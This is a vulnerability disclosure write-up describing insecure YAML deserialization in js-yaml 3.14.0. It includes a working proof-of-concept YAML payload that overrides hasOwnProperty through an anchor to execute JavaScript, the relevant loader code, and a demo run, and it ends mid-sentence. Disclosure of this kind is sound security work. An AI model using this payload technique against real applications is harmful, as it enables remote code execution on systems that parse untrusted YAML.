Vulnerability Disclosure - js-yaml 3.14.0
Ianis BERNARDIntroduction
js-yaml is a YAML serializer and deserializer for JavaScript. It follows YAML version 1.2 specifications, At the time of writing, the node package has over 90,000,000 weekly downloads on npmjs.com
and over 6,300 stars on GitHub.
During a penetration test of a Node.js web application, we found that js-yaml 3.14.0 was used to parse user-controlled configuration files.
According to npm audit and Snyk database, the last security advisory for js-yaml is an arbitrary code execution vulnerability that affected versions prior to 3.13.1. However, the changelog makes note of a "possible code execution" security fix in version 3.14.1. We decided to investigate version 3.14.0 and find out if we could make the possibility of code execution a reality.
Vulnerability summary
pending CVE
- Insecure YAML deserialization.
Vulnerability details
Insecure YAML deserialization
The JavaScript code below is importing the vulnerable js-yaml 3.14.0 module and parsing the content of a file named exploit.yml
.
const yaml = require('js-yaml')
const readFileSync = require('fs').readFileSync
yaml.load(readFileSync('exploit.yml'), 'utf8')
The following code block represents the content of exploit.yml
. It is the exploit to run arbitrary JavaScript code with js-yaml 3.14.0.
a: &hasOwnProperty !<tag:yaml.org,2002:js/function> |
() => {
console.log('Hello from Acylia')
return true
}
b: *x
The exploit YAML file has two keys a
and b
.
- The key named
a
defines an anchor namedhasOwnProperty
, a typetag:yaml.org,2002:js/function
and a value that is our JavaScript payload. - The key named
b
defines an alias namedx
.
When the vulnerable module loads the malicious YAML file, it parses the anchor and puts it in the anchorMap
JavaScript object where hasOwnProperty
is the key and the JavaScript function is the value.
As seen on the code block extracted from loader.js, to get a reference to an alias, the function calls the hasOwnProperty
method on anchorMap
with the alias as an argument to check if it exists.
function readAlias(state) {
// ...
if (!state.anchorMap.hasOwnProperty(alias)) {
throwError(state, 'unidentified alias "' + alias + '"');
}
// ...
}
Similar to a prototype pollution attack, the issue lies in the fact that the native Object.prototype.hasOwnProperty()
method can be overridden by the malicious hasOwnProperty
function in anchorMap
.
Running the Javascript code will execute the payload and print the message "Hello from Acylia" in the console.
$ npm install js-yaml@3.14.0
$ npm audit
found 0 vulnerabilities
$ node demo.js
Hello from Acylia
Conclusion
Thanks to this vulnerability, we were able to gain remote code execution on the software that was the target of a penetration test.
The js-yaml package is the most popular library for parsing YAML in Node.js and we assume that many other projects are likely at risk.
Obviously, without a proper security advisory, the npm audit
command and Snyk vulnerability database were both unable to report that this version is vulnerable. The lack of security advisory for the fix in version 3.14.1 leads developers to keep using previous versions of the library without knowledge of said vulnerability.
What we wanted to highlight is the importance of